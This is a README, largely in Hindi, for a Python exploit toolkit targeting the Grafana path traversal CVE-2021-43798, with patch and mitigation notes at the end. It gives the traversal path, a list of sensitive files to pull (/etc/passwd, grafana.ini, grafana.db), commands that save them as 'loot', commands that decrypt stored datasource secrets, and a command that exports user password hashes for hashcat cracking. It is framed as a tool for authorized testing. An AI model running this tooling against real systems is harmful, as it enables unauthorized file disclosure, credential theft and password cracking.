
Python toolkit for authorized testing of CVE-2021-43798 Grafana पथ ट्रैवर्सल के अधिकृत परीक्षण के लिए Python टूलकिट, जिसमें मनमाना फ़ाइल पढ़ने का PoC, गुप्त डिक्रिप्शन और सुरक्षा मूल्यांकन के लिए उपयोगकर्ता हैश निर्यात शामिल है।
CVE-2021-43798 के अधिकृत परीक्षण के लिए Python टूलकिट, जो एक Grafana पथ ट्रैवर्सल कमजोरी है जो प्लगइन एसेट पथों के माध्यम से अप्रमाणित मनमानी फ़ाइल पढ़ने की अनुमति दे सकती है।
इस भंडार में शामिल है:
grafana_poc.py: इंटरैक्टिव मनमानी फ़ाइल पढ़ने का PoC जो डाउनलोड की गई फ़ाइलों को स्थानीय रूप से सहेजता है।grafana_pass_decryptor.py: सहायक जो grafana.ini और/या secret_key उपलब्ध होने पर Grafana के एन्क्रिप्टेड डेटासोर्स रहस्यों को डिक्रिप्ट करने और grafana.db से Grafana उपयोगकर्ता पासवर्ड हैश निर्यात करने में मदद करता है।इस प्रोजेक्ट का उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं, संचालित करते हैं, या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। अनधिकृत शोषण से संवेदनशील फ़ाइलें, क्रेडेंशियल्स, निजी कुंजियाँ, डेटाबेस सामग्री और उपयोगकर्ता पासवर्ड हैश उजागर हो सकते हैं।
CVE-2021-43798 Grafana के संस्करण 8.0.0-beta1 से 8.3.0 तक को प्रभावित करता है। पैच किए गए संस्करण 8.3.1, 8.2.7, 8.1.8 और 8.0.7 हैं।
यह समस्या प्लगइन एसेट मार्गों के माध्यम से पहुंच योग्य है, जैसे:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
अधिकृत सत्यापन के दौरान अक्सर अनुरोधित फ़ाइलों में शामिल हैं:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
पहुंच Grafana प्रक्रिया के ऑपरेटिंग सिस्टम अनुमतियों पर निर्भर करती है।
requestspycryptodome या cryptographyनिर्भरताएँ स्थापित करें:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
अधिकृत लक्ष्य के विरुद्ध इंटरैक्टिव PoC चलाएँ:
python3 grafana_poc.py -H http://target:3000 -o loot
प्रॉम्प्ट पर, पूर्ण पथ दर्ज करें:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
डाउनलोड की गई फ़ाइलें आउटपुट निर्देशिका के अंतर्गत सहेजी जाती हैं, जबकि रिमोट पथ का एक सुरक्षित संस्करण बनाए रखा जाता है, उदाहरण के लिए:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
यदि आपके पास grafana.ini और grafana.db दोनों हैं, तो डिक्रिप्टर कॉन्फ़िग फ़ाइल से secret_key पढ़ सकता है और एन्क्रिप्टेड डेटासोर्स, अलर्ट नोटिफिकेशन और प्लगइन रहस्यों को डिक्रिप्ट करने का प्रयास कर सकता है:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
एक एन्क्रिप्टेड ब्लॉब को मैन्युअल रूप से डिक्रिप्ट करें:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
न्यूलाइन-सीमांकित JSON प्रिंट करें:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana उपयोगकर्ता पासवर्ड एन्क्रिप्टेड रहस्य नहीं हैं। वे सॉल्टेड PBKDF2 हैश हैं। उन्हें user तालिका से निर्यात करें:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
केवल hashcat मोड 10900 लाइनें निर्यात करें:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Grafana को पैच किए गए रिलीज़ में अपग्रेड करें:
8.3.1 या बाद का8.2.7 या बाद का8.1.8 या बाद का8.0.7 या बाद कायदि तत्काल अपग्रेड संभव नहीं है, तो Grafana की सलाह है कि Grafana के सामने एक रिवर्स प्रॉक्सी रखना जो अनुरोध पथों को सामान्य (normalize) करता है, ट्रैवर्सल व्यवहार को कम कर सकता है। इसे पैचिंग के विकल्प के रूप में नहीं, बल्कि अस्थायी नियंत्रण के रूप में मानें।
मूल सार्वजनिक PoC का श्रेय Exploit-DB पर s1gh को जाता है। Grafana रहस्य डिक्रिप्शन वर्कफ़्लो jas502n/Grafana-CVE-2021-43798 के सार्वजनिक शोध और उदाहरणों से प्रेरित है, यह भंडार प्रयोगशाला और अधिकृत मूल्यांकन कार्यप्रवाहों के लिए एक Python सहायक प्रदान करता है।